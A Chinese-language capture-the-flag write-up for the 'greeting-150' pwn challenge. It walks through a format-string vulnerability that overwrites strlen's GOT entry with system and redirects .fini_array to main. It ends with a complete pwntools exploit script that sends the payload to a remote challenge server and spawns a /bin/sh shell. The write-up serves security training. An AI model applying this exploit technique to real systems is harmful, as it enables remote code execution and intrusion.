攻防世界 - pwn - greeting-150

格式化字符串漏洞，main函数中逻辑写的很清晰：

void main(void)

{
  int iVar1;
  int in_GS_OFFSET;
  char local_94 [64];
  undefined local_54 [64];
  int local_14;
  
  local_14 = *(int *)(in_GS_OFFSET + 0x14);
  printf("Please tell me your name... ");
  iVar1 = getnline(local_54,0x40);
  if (iVar1 == 0) {
    puts("Don\'t ignore me ;( ");
  }
  else {
    sprintf(local_94,"Nice to meet you, %s :)\n",local_54);
    printf(local_94);
  }
  if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail();
  }
  return;
}

可做任意地址写，再看getnline函数逻辑：

void getnline(char *param_1,int param_2)

{
  char *pcVar1;
  
  fgets(param_1,param_2,stdin);
  pcVar1 = strchr(param_1,10);
  if (pcVar1 != (char *)0x0) {
    *pcVar1 = '\0';
  }
  strlen(param_1);
  return;
}

strlen函数使用的很奇怪，可以考虑把got表中strlen位置改为system函数的地址，这时控制流需要回到main函数中去，所以格式化字符串任意写需要完成两件事：写strlen的got表为system，让控制流回到main。

这题还考察了fini_array的使用，elf格式的可执行文件执行在main函数前执行.init段的指令，终止前执行.fini段的指令，可参考init and fini section。fini_array使用的优先级高于fini段，其中包含了程序结束前需要执行函数的地址，并且倒序执行，参考When will the .fini_array section being used?，改变控制流只需要在fini_array中写入main函数地址。

找完offset后可以写exp，在offset前需要填入2bytes以对齐：

from pwn import *

context(log_level="debug", arch="i386", os="linux")
elf = ELF("./greeting-150")
# r = process("./greeting-150")
r = remote("111.200.241.244", 56542)
fini_array = 0x8049934

payload = b'BB' + p32(fini_array) + p32(elf.got["strlen"])
payload += "%{}c".format(0xed - len(payload) -  0x12).encode("utf-8") + b"%12$hhn"
# 0x12 is 'Nice to meet you, '
payload += "%{}c".format(elf.plt["system"] - 0xed).encode("utf-8") + b"%13$n"
r.recvuntil(b"Please tell me your name... ")
r.sendline(payload)
r.sendline(b"/bin/sh")
r.interactive()